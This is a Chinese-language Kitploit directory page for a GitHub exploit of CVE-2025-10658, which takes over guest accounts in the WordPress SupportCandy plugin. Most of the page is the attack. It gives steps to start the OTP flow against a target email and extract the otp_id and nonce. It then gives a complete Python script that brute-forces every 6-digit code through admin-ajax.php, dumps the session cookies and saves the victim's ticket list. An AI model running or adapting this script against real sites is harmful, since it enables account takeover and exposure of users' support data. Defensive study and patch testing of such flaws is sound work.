Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-10658 — 针对CVE-2025-10658的Python攻击脚本:通过admin-ajax.php端点暴力破解WordPress SupportCandy访客登录中的6位OTP,以实现完全账户接管。 | Kitploit
工具/GitHubGitHub/jfriedli/cve-2025-10658
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

针对CVE-2025-10658的Python攻击脚本:通过admin-ajax.php端点暴力破解WordPress SupportCandy访客登录中的6位OTP,以实现完全账户接管。

查看仓库
1355个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Exploit: SupportCandy 访客 OTP 暴力破解 → 账户接管

1) 发起 OTP 登录流程(浏览器)

  • 打开:
root@kitploit:~
/support/
  • 选择 访客 / OTP 登录
  • 输入目标邮箱(例如 [email protected])
  • 提交

2) 从 OTP 表单中提取所需值

在 DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login 响应中:

root@kitploit:~
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

保存:

  • OTP_ID
  • NONCE

3) 暴力破解 OTP

root@kitploit:~
#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # 提取的 otp_id
NONCE  = "f2349a6ac9"        # 提取的 nonce
START  = 0
END    = 999999
RATE   = 25                  # 每秒请求数

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP 破解成功: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # 访问已认证页面
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] 已尝试 {n} 个代码...")

        time.sleep(interval)

    print("[!] 范围已穷尽")

if __name__ == "__main__":
    main()

运行:

root@kitploit:~
python sc_guest_bruteforce_linear.py

4) 完成账户接管

  • 在浏览器表单中输入已破解的 6 位 OTP
  • 提交
下载工具